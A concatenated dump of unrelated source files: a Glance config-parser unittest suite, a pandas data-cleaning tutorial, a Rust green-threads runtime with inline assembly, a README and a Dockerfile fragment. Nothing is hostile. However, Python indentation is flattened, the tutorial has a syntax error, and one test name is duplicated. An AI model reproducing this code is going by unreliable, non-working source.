# Copyright 2011 Red Hat, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import os
import sys
import StringIO
import tempfile
import unittest
import stubout
from glance.common.cfg import *
class BaseTestCase(unittest.TestCase):
def setUp(self):
self.conf = ConfigOpts(prog='test',
version='1.0',
usage='%prog FOO BAR',
default_config_files=[])
self.tempfiles = []
self.stubs = stubout.StubOutForTesting()
def tearDown(self):
self.remove_tempfiles()
self.stubs.UnsetAll()
def create_tempfiles(self, files):
for (basename, contents) in files:
(fd, path) = tempfile.mkstemp(prefix=basename)
self.tempfiles.append(path)
try:
os.write(fd, contents)
finally:
os.close(fd)
return self.tempfiles[-len(files):]
def remove_tempfiles(self):
for p in self.tempfiles:
os.remove(p)
class LeftoversTestCase(BaseTestCase):
def test_leftovers(self):
self.conf.register_cli_opt(StrOpt('foo'))
self.conf.register_cli_opt(StrOpt('bar'))
leftovers = self.conf(['those', '--foo', 'this',
'thems', '--bar', 'that', 'these'])
self.assertEquals(leftovers, ['those', 'thems', 'these'])
class FindConfigFilesTestCase(BaseTestCase):
def test_find_config_files(self):
config_files = \
[os.path.expanduser('~/.blaa/blaa.conf'), '/etc/foo.conf']
self.stubs.Set(os.path, 'exists', lambda p: p in config_files)
self.assertEquals(find_config_files(project='blaa', prog='foo'),
config_files)
class CliOptsTestCase(BaseTestCase):
def _do_cli_test(self, opt_class, default, cli_args, value):
self.conf.register_cli_opt(opt_class('foo', default=default))
self.conf(cli_args)
self.assertTrue(hasattr(self.conf, 'foo'))
self.assertEquals(self.conf.foo, value)
def test_str_default(self):
self._do_cli_test(StrOpt, None, [], None)
def test_str_arg(self):
self._do_cli_test(StrOpt, None, ['--foo', 'bar'], 'bar')
def test_bool_default(self):
self._do_cli_test(BoolOpt, False, [], False)
def test_bool_arg(self):
self._do_cli_test(BoolOpt, None, ['--foo'], True)
def test_bool_arg_inverse(self):
self._do_cli_test(BoolOpt, None, ['--foo', '--nofoo'], False)
def test_int_default(self):
self._do_cli_test(IntOpt, 10, [], 10)
def test_int_arg(self):
self._do_cli_test(IntOpt, None, ['--foo=20'], 20)
def test_float_default(self):
self._do_cli_test(FloatOpt, 1.0, [], 1.0)
def test_float_arg(self):
self._do_cli_test(FloatOpt, None, ['--foo', '2.0'], 2.0)
def test_list_default(self):
self._do_cli_test(ListOpt, ['bar'], [], ['bar'])
def test_list_arg(self):
self._do_cli_test(ListOpt, None,
['--foo', 'blaa,bar'], ['blaa', 'bar'])
def test_multistr_default(self):
self._do_cli_test(MultiStrOpt, ['bar'], [], ['bar'])
def test_multistr_arg(self):
self._do_cli_test(MultiStrOpt, None,
['--foo', 'blaa', '--foo', 'bar'], ['blaa', 'bar'])
def test_help(self):
self.stubs.Set(sys, 'stdout', StringIO.StringIO())
self.assertRaises(SystemExit, self.conf, ['--help'])
self.assertTrue('FOO BAR' in sys.stdout.getvalue())
self.assertTrue('--version' in sys.stdout.getvalue())
self.assertTrue('--help' in sys.stdout.getvalue())
self.assertTrue('--config-file=PATH' in sys.stdout.getvalue())
def test_version(self):
self.stubs.Set(sys, 'stdout', StringIO.StringIO())
self.assertRaises(SystemExit, self.conf, ['--version'])
self.assertTrue('1.0' in sys.stdout.getvalue())
def test_config_file(self):
paths = self.create_tempfiles([('1.conf', '[DEFAULT]'),
('2.conf', '[DEFAULT]')])
self.conf(['--config-file', paths[0], '--config-file', paths[1]])
self.assertEquals(self.conf.config_file, paths)
class ConfigFileOptsTestCase(BaseTestCase):
def test_str_default(self):
self.conf.register_opt(StrOpt('foo', default='bar'))
paths = self.create_tempfiles([('test.conf',
'[DEFAULT]\n')])
self.conf(['--config-file', paths[0]])
self.assertTrue(hasattr(self.conf, 'foo'))
self.assertEquals(self.conf.foo, 'bar')
def test_str_value(self):
self.conf.register_opt(StrOpt('foo'))
paths = self.create_tempfiles([('test.conf',
'[DEFAULT]\n'
'foo = bar\n')])
self.conf(['--config-file', paths[0]])
self.assertTrue(hasattr(self.conf, 'foo'))
self.assertEquals(self.conf.foo, 'bar')
def test_str_value_override(self):
self.conf.register_cli_opt(StrOpt('foo'))
paths = self.create_tempfiles([('1.conf',
'[DEFAULT]\n'
'foo = baar\n'),
('2.conf',
'[DEFAULT]\n'
'foo = baaar\n')])
self.conf(['--foo', 'bar',
'--config-file', paths[0],
'--config-file', paths[1]])
self.assertTrue(hasattr(self.conf, 'foo'))
self.assertEquals(self.conf.foo, 'baaar')
def test_int_default(self):
self.conf.register_opt(IntOpt('foo', default=666))
paths = self.create_tempfiles([('test.conf',
'[DEFAULT]\n')])
self.conf(['--config-file', paths[0]])
self.assertTrue(hasattr(self.conf, 'foo'))
self.assertEquals(self.conf.foo, 666)
def test_int_value(self):
self.conf.register_opt(IntOpt('foo'))
paths = self.create_tempfiles([('test.conf',
'[DEFAULT]\n'
'foo = 666\n')])
self.conf(['--config-file', paths[0]])
self.assertTrue(hasattr(self.conf, 'foo'))
self.assertEquals(self.conf.foo, 666)
def test_int_value_override(self):
self.conf.register_cli_opt(IntOpt('foo'))
paths = self.create_tempfiles([('1.conf',
'[DEFAULT]\n'
'foo = 66\n'),
('2.conf',
'[DEFAULT]\n'
'foo = 666\n')])
self.conf(['--foo', '6',
'--config-file', paths[0],
'--config-file', paths[1]])
self.assertTrue(hasattr(self.conf, 'foo'))
self.assertEquals(self.conf.foo, 666)
def test_float_default(self):
self.conf.register_opt(FloatOpt('foo', default=6.66))
paths = self.create_tempfiles([('test.conf',
'[DEFAULT]\n')])
self.conf(['--config-file', paths[0]])
self.assertTrue(hasattr(self.conf, 'foo'))
self.assertEquals(self.conf.foo, 6.66)
def test_float_value(self):
self.conf.register_opt(FloatOpt('foo'))
paths = self.create_tempfiles([('test.conf',
'[DEFAULT]\n'
'foo = 6.66\n')])
self.conf(['--config-file', paths[0]])
self.assertTrue(hasattr(self.conf, 'foo'))
self.assertEquals(self.conf.foo, 6.66)
def test_float_value_override(self):
self.conf.register_cli_opt(FloatOpt('foo'))
paths = self.create_tempfiles([('1.conf',
'[DEFAULT]\n'
'foo = 6.6\n'),
('2.conf',
'[DEFAULT]\n'
'foo = 6.66\n')])
self.conf(['--foo', '6',
'--config-file', paths[0],
'--config-file', paths[1]])
self.assertTrue(hasattr(self.conf, 'foo'))
self.assertEquals(self.conf.foo, 6.66)
def test_list_default(self):
self.conf.register_opt(ListOpt('foo', default=['bar']))
paths = self.create_tempfiles([('test.conf',
'[DEFAULT]\n')])
self.conf(['--config-file', paths[0]])
self.assertTrue(hasattr(self.conf, 'foo'))
self.assertEquals(self.conf.foo, ['bar'])
def test_list_value(self):
self.conf.register_opt(ListOpt('foo'))
paths = self.create_tempfiles([('test.conf',
'[DEFAULT]\n'
'foo = bar\n')])
self.conf(['--config-file', paths[0]])
self.assertTrue(hasattr(self.conf, 'foo'))
self.assertEquals(self.conf.foo, ['bar'])
def test_list_value_override(self):
self.conf.register_cli_opt(ListOpt('foo'))
paths = self.create_tempfiles([('1.conf',
'[DEFAULT]\n'
'foo = bar,bar\n'),
('2.conf',
'[DEFAULT]\n'
'foo = b,a,r\n')])
self.conf(['--foo', 'bar',
'--config-file', paths[0],
'--config-file', paths[1]])
self.assertTrue(hasattr(self.conf, 'foo'))
self.assertEquals(self.conf.foo, ['b', 'a', 'r'])
def test_multistr_default(self):
self.conf.register_opt(MultiStrOpt('foo', default=['bar']))
paths = self.create_tempfiles([('test.conf',
'[DEFAULT]\n')])
self.conf(['--config-file', paths[0]])
self.assertTrue(hasattr(self.conf, 'foo'))
self.assertEquals(self.conf.foo, ['bar'])
def test_multistr_value(self):
self.conf.register_opt(MultiStrOpt('foo'))
paths = self.create_tempfiles([('test.conf',
'[DEFAULT]\n'
'foo = bar\n')])
self.conf(['--config-file', paths[0]])
self.assertTrue(hasattr(self.conf, 'foo'))
self.assertEquals(self.conf.foo, ['bar'])
def test_multistr_values_append(self):
self.conf.register_cli_opt(ListOpt('foo'))
paths = self.create_tempfiles([('1.conf',
'[DEFAULT]\n'
'foo = bar\n'),
('2.conf',
'[DEFAULT]\n'
'foo = bar\n')])
self.conf(['--foo', 'bar',
'--config-file', paths[0],
'--config-file', paths[1]])
self.assertTrue(hasattr(self.conf, 'foo'))
# FIXME(markmc): values spread across the CLI and multiple
# config files should be appended
# self.assertEquals(self.conf.foo, ['bar', 'bar', 'bar'])
class OptGroupsTestCase(BaseTestCase):
def test_arg_group(self):
blaa_group = OptGroup('blaa')
self.conf.register_group(blaa_group)
self.conf.register_cli_opt(StrOpt('foo'), group=blaa_group)
self.conf(['--blaa-foo', 'bar'])
self.assertTrue(hasattr(self.conf, 'blaa'))
self.assertTrue(hasattr(self.conf.blaa, 'foo'))
self.assertEquals(self.conf.blaa.foo, 'bar')
def test_arg_group_by_name(self):
self.conf.register_group(OptGroup('blaa'))
self.conf.register_cli_opt(StrOpt('foo'), group='blaa')
self.conf(['--blaa-foo', 'bar'])
self.assertTrue(hasattr(self.conf, 'blaa'))
self.assertTrue(hasattr(self.conf.blaa, 'foo'))
self.assertEquals(self.conf.blaa.foo, 'bar')
def test_arg_group_with_default(self):
self.conf.register_group(OptGroup('blaa'))
self.conf.register_cli_opt(StrOpt('foo', default='bar'), group='blaa')
self.conf([])
self.assertTrue(hasattr(self.conf, 'blaa'))
self.assertTrue(hasattr(self.conf.blaa, 'foo'))
self.assertEquals(self.conf.blaa.foo, 'bar')
def test_arg_group_in_config_file(self):
self.conf.register_group(OptGroup('blaa'))
self.conf.register_opt(StrOpt('foo'), group='blaa')
paths = self.create_tempfiles([('test.conf',
'[blaa]\n'
'foo = bar\n')])
self.conf(['--config-file', paths[0]])
self.assertTrue(hasattr(self.conf, 'blaa'))
self.assertTrue(hasattr(self.conf.blaa, 'foo'))
self.assertEquals(self.conf.blaa.foo, 'bar')
class TemplateSubstitutionTestCase(BaseTestCase):
def _prep_test_str_sub(self, foo_default=None, bar_default=None):
self.conf.register_cli_opt(StrOpt('foo', default=foo_default))
self.conf.register_cli_opt(StrOpt('bar', default=bar_default))
def _assert_str_sub(self):
self.assertTrue(hasattr(self.conf, 'bar'))
self.assertEquals(self.conf.bar, 'blaa')
def test_str_sub_default_from_default(self):
self._prep_test_str_sub(foo_default='blaa', bar_default='$foo')
self.conf([])
self._assert_str_sub()
def test_str_sub_default_from_arg(self):
self._prep_test_str_sub(bar_default='$foo')
self.conf(['--foo', 'blaa'])
self._assert_str_sub()
def test_str_sub_default_from_config_file(self):
self._prep_test_str_sub(bar_default='$foo')
paths = self.create_tempfiles([('test.conf',
'[DEFAULT]\n'
'foo = blaa\n')])
self.conf(['--config-file', paths[0]])
self._assert_str_sub()
def test_str_sub_arg_from_default(self):
self._prep_test_str_sub(foo_default='blaa')
self.conf(['--bar', '$foo'])
self._assert_str_sub()
def test_str_sub_arg_from_arg(self):
self._prep_test_str_sub()
self.conf(['--foo', 'blaa', '--bar', '$foo'])
self._assert_str_sub()
def test_str_sub_arg_from_config_file(self):
self._prep_test_str_sub()
paths = self.create_tempfiles([('test.conf',
'[DEFAULT]\n'
'foo = blaa\n')])
self.conf(['--config-file', paths[0], '--bar=$foo'])
self._assert_str_sub()
def test_str_sub_config_file_from_default(self):
self._prep_test_str_sub(foo_default='blaa')
paths = self.create_tempfiles([('test.conf',
'[DEFAULT]\n'
'bar = $foo\n')])
self.conf(['--config-file', paths[0]])
self._assert_str_sub()
def test_str_sub_config_file_from_arg(self):
self._prep_test_str_sub()
paths = self.create_tempfiles([('test.conf',
'[DEFAULT]\n'
'bar = $foo\n')])
self.conf(['--config-file', paths[0], '--foo=blaa'])
self._assert_str_sub()
def test_str_sub_config_file_from_config_file(self):
self._prep_test_str_sub()
paths = self.create_tempfiles([('test.conf',
'[DEFAULT]\n'
'bar = $foo\n'
'foo = blaa\n')])
self.conf(['--config-file', paths[0]])
self._assert_str_sub()
def test_str_sub_group_from_default(self):
self.conf.register_cli_opt(StrOpt('foo', default='blaa'))
self.conf.register_group(OptGroup('ba'))
self.conf.register_cli_opt(StrOpt('r', default='$foo'), group='ba')
self.conf([])
self.assertTrue(hasattr(self.conf, 'ba'))
self.assertTrue(hasattr(self.conf.ba, 'r'))
self.assertEquals(self.conf.ba.r, 'blaa')
class ReparseTestCase(BaseTestCase):
def test_reparse(self):
self.conf.register_group(OptGroup('blaa'))
self.conf.register_cli_opt(StrOpt('foo', default='r'), group='blaa')
paths = self.create_tempfiles([('test.conf',
'[blaa]\n'
'foo = b\n')])
self.conf(['--config-file', paths[0]])
self.assertTrue(hasattr(self.conf, 'blaa'))
self.assertTrue(hasattr(self.conf.blaa, 'foo'))
self.assertEquals(self.conf.blaa.foo, 'b')
self.conf(['--blaa-foo', 'a'])
self.assertTrue(hasattr(self.conf, 'blaa'))
self.assertTrue(hasattr(self.conf.blaa, 'foo'))
self.assertEquals(self.conf.blaa.foo, 'a')
self.conf([])
self.assertTrue(hasattr(self.conf, 'blaa'))
self.assertTrue(hasattr(self.conf.blaa, 'foo'))
self.assertEquals(self.conf.blaa.foo, 'r')
class OverridesTestCase(BaseTestCase):
def test_no_default_override(self):
self.conf.register_opt(StrOpt('foo'))
self.conf([])
self.assertEquals(self.conf.foo, None)
self.conf.set_default('foo', 'bar')
self.assertEquals(self.conf.foo, 'bar')
def test_default_override(self):
self.conf.register_opt(StrOpt('foo', default='foo'))
self.conf([])
self.assertEquals(self.conf.foo, 'foo')
self.conf.set_default('foo', 'bar')
self.assertEquals(self.conf.foo, 'bar')
self.conf.set_default('foo', None)
self.assertEquals(self.conf.foo, 'foo')
def test_override(self):
self.conf.register_opt(StrOpt('foo'))
self.conf.set_override('foo', 'bar')
self.conf([])
self.assertEquals(self.conf.foo, 'bar')
def test_group_no_default_override(self):
self.conf.register_group(OptGroup('blaa'))
self.conf.register_opt(StrOpt('foo'), group='blaa')
self.conf([])
self.assertEquals(self.conf.blaa.foo, None)
self.conf.set_default('foo', 'bar', group='blaa')
self.assertEquals(self.conf.blaa.foo, 'bar')
def test_default_override(self):
self.conf.register_group(OptGroup('blaa'))
self.conf.register_opt(StrOpt('foo', default='foo'), group='blaa')
self.conf([])
self.assertEquals(self.conf.blaa.foo, 'foo')
self.conf.set_default('foo', 'bar', group='blaa')
self.assertEquals(self.conf.blaa.foo, 'bar')
self.conf.set_default('foo', None, group='blaa')
self.assertEquals(self.conf.blaa.foo, 'foo')
def test_override(self):
self.conf.register_group(OptGroup('blaa'))
self.conf.register_opt(StrOpt('foo'), group='blaa')
self.conf.set_override('foo', 'bar', group='blaa')
self.conf([])
self.assertEquals(self.conf.blaa.foo, 'bar')
class SadPathTestCase(BaseTestCase):
def test_unknown_attr(self):
self.conf([])
self.assertFalse(hasattr(self.conf, 'foo'))
self.assertRaises(NoSuchOptError, getattr, self.conf, 'foo')
def test_unknown_group_attr(self):
self.conf.register_group(OptGroup('blaa'))
self.conf([])
self.assertTrue(hasattr(self.conf, 'blaa'))
self.assertFalse(hasattr(self.conf.blaa, 'foo'))
self.assertRaises(NoSuchOptError, getattr, self.conf.blaa, 'foo')
def test_ok_duplicate(self):
opt = StrOpt('foo')
self.conf.register_cli_opt(opt)
self.conf.register_cli_opt(opt)
self.conf([])
self.assertTrue(hasattr(self.conf, 'foo'))
self.assertEquals(self.conf.foo, None)
def test_error_duplicate(self):
self.conf.register_cli_opt(StrOpt('foo'))
self.assertRaises(DuplicateOptError,
self.conf.register_cli_opt, StrOpt('foo'))
def test_error_duplicate_with_different_dest(self):
self.conf.register_cli_opt(StrOpt('foo', dest='f'))
self.assertRaises(DuplicateOptError,
self.conf.register_cli_opt, StrOpt('foo'))
def test_error_duplicate_short(self):
self.conf.register_cli_opt(StrOpt('foo', short='f'))
self.assertRaises(DuplicateOptError,
self.conf.register_cli_opt, StrOpt('bar', short='f'))
def test_no_such_group(self):
self.assertRaises(NoSuchGroupError, self.conf.register_cli_opt,
StrOpt('foo'), group='blaa')
def test_already_parsed(self):
self.conf([])
self.assertRaises(ArgsAlreadyParsedError,
self.conf.register_cli_opt, StrOpt('foo'))
def test_bad_cli_arg(self):
self.stubs.Set(sys, 'stderr', StringIO.StringIO())
self.assertRaises(SystemExit, self.conf, ['--foo'])
self.assertTrue('error' in sys.stderr.getvalue())
self.assertTrue('--foo' in sys.stderr.getvalue())
def _do_test_bad_cli_value(self, opt_class):
self.conf.register_cli_opt(opt_class('foo'))
self.stubs.Set(sys, 'stderr', StringIO.StringIO())
self.assertRaises(SystemExit, self.conf, ['--foo', 'bar'])
self.assertTrue('foo' in sys.stderr.getvalue())
self.assertTrue('bar' in sys.stderr.getvalue())
def test_bad_int_arg(self):
self._do_test_bad_cli_value(IntOpt)
def test_bad_float_arg(self):
self._do_test_bad_cli_value(FloatOpt)
def test_conf_file_not_found(self):
paths = self.create_tempfiles([('test.conf', '')])
os.remove(paths[0])
self.tempfiles.remove(paths[0])
self.assertRaises(ConfigFilesNotFoundError,
self.conf, ['--config-file', paths[0]])
def test_conf_file_not_found(self):
paths = self.create_tempfiles([('test.conf', 'foo')])
self.assertRaises(ConfigFileParseError,
self.conf, ['--config-file', paths[0]])
def _do_test_conf_file_bad_value(self, opt_class):
self.conf.register_opt(opt_class('foo'))
def test_conf_file_bad_bool(self):
self._do_test_conf_file_bad_value(BoolOpt)
def test_conf_file_bad_int(self):
self._do_test_conf_file_bad_value(IntOpt)
def test_conf_file_bad_float(self):
self._do_test_conf_file_bad_value(FloatOpt)
def test_str_sub_from_group(self):
self.conf.register_group(OptGroup('f'))
self.conf.register_cli_opt(StrOpt('oo', default='blaa'), group='f')
self.conf.register_cli_opt(StrOpt('bar', default='$f.oo'))
self.conf([])
self.assertFalse(hasattr(self.conf, 'bar'))
self.assertRaises(TemplateSubstitutionError, getattr, self.conf, 'bar')
def test_set_default_unknown_attr(self):
self.conf([])
self.assertRaises(NoSuchOptError, self.conf.set_default, 'foo', 'bar')
def test_set_default_unknown_group(self):
self.conf([])
self.assertRaises(NoSuchGroupError,
self.conf.set_default, 'foo', 'bar', group='blaa')
def test_set_override_unknown_attr(self):
self.conf([])
self.assertRaises(NoSuchOptError, self.conf.set_override, 'foo', 'bar')
def test_set_override_unknown_group(self):
self.conf([])
self.assertRaises(NoSuchGroupError,
self.conf.set_override, 'foo', 'bar', group='blaa')
class OptDumpingTestCase(BaseTestCase):
class FakeLogger:
def __init__(self, test_case, expected_lvl):
self.test_case = test_case
self.expected_lvl = expected_lvl
self.logged = []
def log(self, lvl, fmt, *args):
self.test_case.assertEquals(lvl, self.expected_lvl)
self.logged.append(fmt % args)
def test_log_opt_values(self):
self.conf.register_cli_opt(StrOpt('foo'))
self.conf.register_group(OptGroup('blaa'))
self.conf.register_cli_opt(StrOpt('bar'), 'blaa')
self.conf(['--foo', 'this', '--blaa-bar', 'that'])
logger = self.FakeLogger(self, 666)
self.conf.log_opt_values(logger, 666)
self.assertEquals(logger.logged, [
"*" * 80,
"Configuration options gathered from:",
"command line args: ['--foo', 'this', '--blaa-bar', 'that']",
"config files: []",
"=" * 80,
"config_file = []",
"foo = this",
"blaa.bar = that",
"*" * 80,
])
class CommonOptsTestCase(BaseTestCase):
def setUp(self):
super(CommonOptsTestCase, self).setUp()
self.conf = CommonConfigOpts()
def test_debug_verbose(self):
self.conf(['--debug', '--verbose'])
self.assertEquals(self.conf.debug, True)
self.assertEquals(self.conf.verbose, True)
def test_logging_opts(self):
self.conf([])
self.assertTrue(self.conf.log_config is None)
self.assertTrue(self.conf.log_file is None)
self.assertTrue(self.conf.log_dir is None)
self.assertEquals(self.conf.log_format,
CommonConfigOpts.DEFAULT_LOG_FORMAT)
self.assertEquals(self.conf.log_date_format,
CommonConfigOpts.DEFAULT_LOG_DATE_FORMAT)
self.assertEquals(self.conf.use_syslog, False)
| fb67d30b7ad6533f711987ffb8164f3bb34a5ce9 | [
"SQL",
"reStructuredText",
"Makefile",
"INI",
"Python",
"Shell"
] | 46 | Python | rcbops/glance-buildpackage | 13e52178fb25d6062db6c7fad9df122d279320ab | e8fc9a0ec69235c8b1af3fdc42a6c49b67ff6976 |
refs/heads/master | <repo_name>Paulo-Ade/ML-tutorial<file_sep>/README.md
# ML-tutorial
This repository is used to keep every of my machine learning tutorial projects..
<file_sep>/datacleaning.py
# lEARNING TO CLEAN DATA AND PREPARE IT
# importing the dataset
import numpy as np
import pandas as pd
#Importing the dataset
df = pd.read_csv('property data.csv')
#checking for the first five row
print (df.head())
#looking at the data
print (df['ST_NUM'])
print (df['ST_NUM'].isnull())
# making a list of the missing value
missing_values = ["n/a", "na", "--"]
df = pd.read_csv("property data.csv", na_values = missing_values)
# Looking at the NUM_BEDROOMS column
print (df['NUM_BEDROOMS'])
print (df['NUM_BEDROOMS'].isnull())
# Detecting numbers
cnt=0
for row in df['OWN_OCCUPIED']:
try:
int(row)
df.loc[cnt, 'OWN_OCCUPIED']=np.nan
except ValueError:
pass
cnt+=1
# summing the missing values for each features
print (df.isnull().sum())
# To check for missing values
print (df.isnull().values.any())
# To do a total count of missing values
print (df.isnull().sum().sum())
# Replacing missing values
# Replacing missing values with numbers
df['ST_NUM'].fillna(125, inplace = True)
# For location based replacement
df.loc[2_'ST_NUM'] = 125
# Replacing with median
median = df['NUM_BEDROOMS'].median()
df['NUM_BEDROOMS'].fillna(median, inplace = True)
# checking for the column names
column_names =df.columns
print(column_names)
# Get the Column type
df.dtypes
# Checking if the column is unique
for i in column_names:
print('{} is unique: {}'.format(i, df[i].is_unique))
# Checking for the index value
df.index.values
# Checking if an index exists
'foo' in df.index.values
# Checking if index does not exist
df.set_index('PID', inplace = True)
# Creating a list comprehension of columns to lose
columns_to_drop = [column_names[i] for i in [1,3,5]]
# Drop Unwanted Columns
df.drop(columns_to_drop, inplace=True, axis = 1)
| 419d3b54c7518d7db9fa5b534c694b6938f5b18a | [
"Markdown",
"Python"
] | 2 | Markdown | Paulo-Ade/ML-tutorial | 633848e0a2f33248512f098b1d3c2434bfaaf484 | e89425fa31df53efb61fb94140ee370964ba5b01 |
refs/heads/master | <repo_name>tychota/green-thread<file_sep>/README.md
Reading of https://cfsamson.gitbook.io/green-threads-explained-in-200-lines-of-rust/
<file_sep>/src/main.rs
#![feature(asm)]
#![feature(naked_functions)]
use std::ptr;
const DEFAULT_STACK_SIZE: usize = 1024 * 1024 * 2;
const MAX_THREADS: usize = 4;
static mut RUNTIME: usize = 0;
pub struct Runtime {
threads: Vec<Thread>,
current: usize,
}
#[derive(PartialEq, Eq, Debug)]
enum State {
Available,
Running,
Ready,
}
struct Thread {
id: usize,
stack: Vec<u8>,
ctx: ThreadContext,
state: State,
}
#[cfg(not(target_os = "windows"))]
#[derive(Debug, Default)]
#[repr(C)]
struct ThreadContext {
rsp: u64,
r15: u64,
r14: u64,
r13: u64,
r12: u64,
rbx: u64,
rbp: u64,
}
impl Thread {
fn new(id: usize) -> Self {
Thread {
id,
stack: vec![0_u8; DEFAULT_STACK_SIZE],
ctx: ThreadContext::default(),
state: State::Available,
}
}
}
impl Runtime {
pub fn new() -> Self {
let base_thread = Thread {
id: 0,
stack: vec![0_u8; DEFAULT_STACK_SIZE],
ctx: ThreadContext::default(),
state: State::Running,
};
let mut threads = vec![base_thread];
let mut available_threads: Vec<Thread> = (1..MAX_THREADS).map(|i| Thread::new(i)).collect();
threads.append(&mut available_threads);
Runtime {
threads,
current: 0,
}
}
pub fn init(&self) {
unsafe {
let r_ptr: *const Runtime = self;
RUNTIME = r_ptr as usize;
}
}
pub fn run(&mut self) -> ! {
while self.t_yield() {}
std::process::exit(0);
}
fn t_return(&mut self) {
if self.current != 0 {
self.threads[self.current].state = State::Available;
self.t_yield();
}
}
fn t_yield(&mut self) -> bool {
let mut pos = self.current;
while self.threads[pos].state != State::Ready {
pos += 1;
if pos == self.threads.len() {
pos = 0;
}
if pos == self.current {
return false;
}
}
if self.threads[self.current].state != State::Available {
self.threads[self.current].state = State::Ready;
}
self.threads[pos].state = State::Running;
let old_pos = self.current;
self.current = pos;
unsafe {
switch(&mut self.threads[old_pos].ctx, &self.threads[pos].ctx);
}
true
}
#[cfg(not(target_os = "windows"))]
pub fn spawn(&mut self, f: fn()) {
let available = self
.threads
.iter_mut()
.find(|t| t.state == State::Available)
.expect("no available thread.");
let size = available.stack.len();
let s_ptr = available.stack.as_mut_ptr();
unsafe {
ptr::write(s_ptr.offset((size - 8) as isize) as *mut u64, guard as u64);
ptr::write(s_ptr.offset((size - 16) as isize) as *mut u64, f as u64);
available.ctx.rsp = s_ptr.offset((size - 16) as isize) as u64;
}
available.state = State::Ready;
}
}
#[cfg_attr(any(target_os = "windows", target_os = "linux"), naked)]
fn guard() {
unsafe {
let rt_ptr = RUNTIME as *mut Runtime;
let rt = &mut *rt_ptr;
println!("THREAD {} FINISHED.", rt.threads[rt.current].id);
rt.t_return();
};
}
pub fn yield_thread() {
unsafe {
let rt_ptr = RUNTIME as *mut Runtime;
(*rt_ptr).t_yield();
};
}
#[cfg(not(target_os = "windows"))]
#[naked]
unsafe fn switch(old: *mut ThreadContext, new: *const ThreadContext) {
asm!("
mov $0, %rdi
mov %rsp, 0x00(%rdi)
mov %r15, 0x08(%rdi)
mov %r14, 0x10(%rdi)
mov %r13, 0x18(%rdi)
mov %r12, 0x20(%rdi)
mov %rbx, 0x28(%rdi)
mov %rbp, 0x30(%rdi)
mov $1, %rsi
mov 0x00(%rsi), %rsp
mov 0x08(%rsi), %r15
mov 0x10(%rsi), %r14
mov 0x18(%rsi), %r13
mov 0x20(%rsi), %r12
mov 0x28(%rsi), %rbx
mov 0x30(%rsi), %rbp
ret
"
:
:"{rdi}"(old), "{rsi}"(new)
:
: "volatile", "alignstack"
);
}
fn main() {
let mut runtime = Runtime::new();
runtime.init();
runtime.spawn(|| {
println!("THREAD 1 STARTING");
let id = 1;
for i in 0..10 {
println!("thread: {} counter: {}", id, i);
yield_thread();
}
});
runtime.spawn(|| {
println!("THREAD 2 STARTING");
let id = 2;
for i in 0..15 {
println!("thread: {} counter: {}", id, i);
yield_thread();
}
});
runtime.run();
}
// ===== WINDOWS SUPPORT =====
#[cfg(target_os = "windows")]
#[derive(Debug, Default)]
#[repr(C)]
struct ThreadContext {
rsp: u64,
r15: u64,
r14: u64,
r13: u64,
r12: u64,
rbx: u64,
rbp: u64,
xmm6: u64,
xmm7: u64,
xmm8: u64,
xmm9: u64,
xmm10: u64,
xmm11: u64,
xmm12: u64,
xmm13: u64,
xmm14: u64,
xmm15: u64,
stack_start: u64,
stack_end: u64,
}
impl Runtime {
#[cfg(target_os = "windows")]
pub fn spawn(&mut self, f: fn()) {
let available = self
.threads
.iter_mut()
.find(|t| t.state == State::Available)
.expect("no available thread.");
let size = available.stack.len();
let s_ptr = available.stack.as_mut_ptr();
unsafe {
ptr::write(s_ptr.offset((size - 8) as isize) as *mut u64, guard as u64);
ptr::write(s_ptr.offset((size - 16) as isize) as *mut u64, f as u64);
available.ctx.rsp = s_ptr.offset((size - 16) as isize) as u64;
available.ctx.stack_start = s_ptr.offset(size as isize) as u64;
}
available.ctx.stack_end = s_ptr as *const u64 as u64;
available.state = State::Ready;
}
}
// reference: https://probablydance.com/2013/02/20/handmade-coroutines-for-windows/
// Contents of TIB on Windows: https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
#[cfg(target_os = "windows")]
#[naked]
unsafe fn switch(old: *mut ThreadContext, new: *const ThreadContext) {
asm!("
mov $0, %rdi
mov %rsp, 0x00(%rdi)
mov %r15, 0x08(%rdi)
mov %r14, 0x10(%rdi)
mov %r13, 0x18(%rdi)
mov %r12, 0x20(%rdi)
mov %rbx, 0x28(%rdi)
mov %rbp, 0x30(%rdi)
mov %xmm6, 0x38(%rdi)
mov %xmm7, 0x40(%rdi)
mov %xmm8, 0x48(%rdi)
mov %xmm9, 0x50(%rdi)
mov %xmm10, 0x58(%rdi)
mov %xmm11, 0x60(%rdi)
mov %xmm12, 0x68(%rdi)
mov %xmm13, 0x70(%rdi)
mov %xmm14, 0x78(%rdi)
mov %xmm15, 0x80(%rdi)
mov %gs:0x08, %rax # windows support
mov %rax, 0x88(%rdi) # windows support
mov %gs:0x10, %rax # windows support
mov %rax, 0x90(%rdi) # windows support
mov $1, %rsi
mov 0x00(%rsi), %rsp
mov 0x08(%rsi), %r15
mov 0x10(%rsi), %r14
mov 0x18(%rsi), %r13
mov 0x20(%rsi), %r12
mov 0x28(%rsi), %rbx
mov 0x30(%rsi), %rbp
mov 0x38(%rsi), %xmm6
mov 0x40(%rsi), %xmm7
mov 0x48(%rsi), %xmm8
mov 0x50(%rsi), %xmm9
mov 0x58(%rsi), %xmm10
mov 0x60(%rsi), %xmm11
mov 0x68(%rsi), %xmm12
mov 0x70(%rsi), %xmm13
mov 0x78(%rsi), %xmm14
mov 0x80(%rsi), %xmm15
mov 0x88(%rsi), %rax # windows support
mov %rax, %gs:0x08 # windows support
mov 0x90(%rsi), %rax # windows support
mov %rax, %gs:0x10 # windows support
ret
"
:
:"{rdi}"(old), "{rsi}"(new)
:
: "volatile", "alignstack"
);
}
| 99ddc5fe2c6a2aa760811087d40cd32a97a07344 | [
"Markdown",
"Rust"
] | 2 | Markdown | tychota/green-thread | b73ad7f0045e2e40250adaa22411d27a4af06bf7 | 503765fe4c1abcac3168b7fb25958d643d6a7881 |
refs/heads/master | <file_sep>FROM alpine:3.2
MAINTAINER <NAME> <<EMAIL>>
ENV BUILD_PACKAGES bash curl-dev ruby-dev build-base
